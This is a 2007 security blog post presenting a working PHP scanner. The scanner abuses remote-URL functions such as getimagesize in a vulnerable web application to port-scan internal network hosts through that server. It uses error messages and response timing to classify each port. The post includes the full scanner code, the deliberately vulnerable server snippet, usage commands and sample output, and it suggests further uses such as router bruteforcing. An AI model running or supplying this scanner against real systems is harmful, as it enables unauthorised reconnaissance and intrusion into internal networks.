ush.it - a beautiful place

Scanning DMZ hosts with remote file opening

August 29, 2007 at 8:03 pm - Filed under Hacks, Language EN - 886 words, reading time ~2 minutes - Permalink - Comments

Today Stefano had a nice idea on how to (ab)use remote furl enabled functions that normally could lead to a mere DoS. Options are Drive By Pharming, Bruteforcing routers and http based authentications and Full Lan Scan. Sounds interesting? It is.

Of course you can also "proxy" HTTP GET requests to external and internal targets (this possibly means hacking applications not reachable from the public internet as described, for example, in an article by Robert Hansen titled "Hacking Intranets Through Web Interfaces" and reachable at the address http://www.sectheory.com/intranet-hacking.htm, there are some client side techniques that are also valid in this case, on the server side).

I was especially interested in the third point (scanning internal hosts in a reliable manner) and come up with the following script (feel free to convert it to python and multithreading ;)). The script works with both error messages and timing (blind) detection.

<?php

// remote furl scanner - scan.php
// (c) 2007 Francesco `ascii` Ongaro - http://www_ush_it/
// idea of Stefano `wisec` di Paola - http://www.wisec.it/

set_time_limit(0);
error_reporting(E_ALL);
// ob_start();
// ob_implicit_flush();

if ($argc < 3) {
 echo 'Usage: '.$argv[0].' <scan_host> <vulnerable_url>'."\n";
 echo '       php -n '.$argv[0].' 192.168.1.1 "http://intranet/getimagesize.php?url={URL}"'."\n\n";
 exit;
}

$host = $argv[1];
$url = $argv[2];

$url = str_replace('{URL}', '{PROTO}{HOST}:{PORT}/', $url);
// $url = 'http://jhon.asciinb.vlan.ush.it/getimagesize.php?url={PROTO}{HOST}:{PORT}/';
echo 'Remote url is '.$url."\n";

$protos = array('http://', 'ftp://');

define('PORT_CLOSE', 1000);
define('PORT_UNKNOWN', 1001);
define('PORT_OPEN', 1002);

define('SCAN_FATAL', TRUE);
define('SCAN_OK', FALSE);

// define('DEBUG', TRUE);
define('DEBUG', FALSE);

$errors = array();
$errors[] = array('URL file-access is disabled in the server configuration', PORT_UNKNOWN, SCAN_FATAL);
$errors[] = array('couldn\'t connect to server', PORT_CLOSE, SCAN_OK);
$errors[] = array('failed to open stream', PORT_CLOSE, SCAN_OK);
$errors[] = array('could not make seekable', PORT_OPEN, SCAN_OK);

$report = array();
$report[PORT_CLOSE] = 'closed';
$report[PORT_OPEN] = 'open';
$report[PORT_UNKNOWN] = 'unknown';

$results = array();
foreach ($protos as $proto) {
 for ($port=0;$port<1024;$port++) {
  if (!DEBUG) echo '.';
  else echo 'Scanning port('.$port.')..'."\n";
  $time_start = time();
  $response = file_get_contents(str_replace(array('{PROTO}', '{HOST}', '{PORT}'), array($proto, $host, $port), $url));
  $time_end = time()-$time_start;
  $found = FALSE;
  foreach ($errors as $error) {
if (DEBUG) echo ' Checking error('.$error[0].')..'."\n"; if (strstr($response, $error[0])) { if ($found === TRUE && $results[$proto][$port][0] !== $error[1]) trigger_error('Strange, the response already matched an error but this time the guess is different!', E_USER_NOTICE); if ($error[2] === TRUE) trigger_error('Sorry but this technique doesn\'t work on this host!', E_USER_NOTICE); $results[$proto][$port] = array($error[1], $time_end); $found = TRUE; } } if ($found === FALSE) { trigger_error('Strange, the response did not match any error!', E_USER_NOTICE); if (DEBUG) echo $response; $results[$proto][$port] = array(PORT_UNKNOWN, $time_end); } } } echo "\n"; foreach ($protos as $proto) { echo 'Scan with protocol('.$proto.'):'."\n"; echo "\t".'PORT'."\t".'STATUS'."\t".'TIME'."\n"; foreach ($results[$proto] as $port => $result) if ($result[0] >= PORT_UNKNOWN) echo "\t".$port."\t".$report[$result[0]]."\t".$result[1].'sec'."\n"; } ?>

The downloadable version is: http://www_ush_it/team/ascii/hack-remote_furl_scanner/scan.php. It can be used this way:

$ time php -n scan.php 127.0.0.1 "http://me/getimagesize.php?url={URL}"

The server component should be of the type:

$ cat /home/me/getimagesize.php
<?php

getimagesize($_GET['url']);

?>

As you can see you can adjust the errors array and adapt it to other functions and languages. Findings are available in the $results array (that contains also the closed ports timing) or summarized in the graphical output. You should expect an output similar to the following (with a few more dots, each one representing a scanned port).

$ time php -n scan.php 127.0.0.1 "http://me/getimagesize.php?url={URL}"
Remote url is http://me/getimagesize.php?url={PROTO}{HOST}:{PORT}/
Notice: Strange, the response did not match any error! in /home/me/scan.php on line 63
Notice: Strange, the response did not match any error! in /home/me/scan.php on line 63
Notice: Strange, the response did not match any error! in /home/me/scan.php on line 63
Notice: Strange, the response did not match any error! in /home/me/scan.php on line 63
Notice: Strange, the response did not match any error! in /home/me/scan.php on line 63
Notice: Strange, the response did not match any error! in /home/me/scan.php on line 63

Scan with protocol(http://):
        PORT    STATUS  TIME
        53      open    10sec
        69      unknown 0sec
        80      unknown 0sec
        443     unknown 0sec
Scan with protocol(ftp://):
        PORT    STATUS  TIME
        53      open    10sec
        69      unknown 15sec
        80      unknown 15sec
        443     unknown 15sec

real    2m3.550s
user    0m1.606s
sys     0m0.804s

Enjoy.

THP USH Wisec DigitalBullets